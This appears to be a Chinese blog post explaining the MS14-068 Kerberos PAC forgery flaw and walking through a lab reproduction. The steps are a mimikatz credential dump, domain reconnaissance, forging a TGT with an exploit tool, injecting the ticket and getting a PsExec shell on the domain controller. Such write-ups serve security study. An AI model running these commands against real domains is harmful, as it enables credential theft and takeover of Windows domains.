0x00 漏洞成因
MS14-068 是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证
简单来说就是:
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
- 在请求AS时,将require_PAC设置成False。
- 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
- TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
0x01 漏洞复现
win7 域内主机
windows 2008 R2 域控
收集域信息 (获取一台域内主机权限)
上传 mimikatz.ex到 win7
获取用户名密码
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
得到一个 域内用户 box\box 和密码
切换到域用户
收集域信息 和 查询域控
net config workstation
nltest /dsgetdc:box
获取SID
漏洞复现
清空票据
mimikatz # kerberos::purge
清空票据
上传 ms14-068漏洞利用工具
使用方法:
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
伪造TGT和Logon Session Key
ms14-068.exe -u box@box.com -p 123.com -s SID -d DC-2008R2.box.com
导入票据
mimikatz # kerberos::ptc 票据文件地址
验证 直接访问域控资源
Psexec 获取 cmd shell
仅用于学习交流,不得用于非法用途
如侵权请私聊博主删文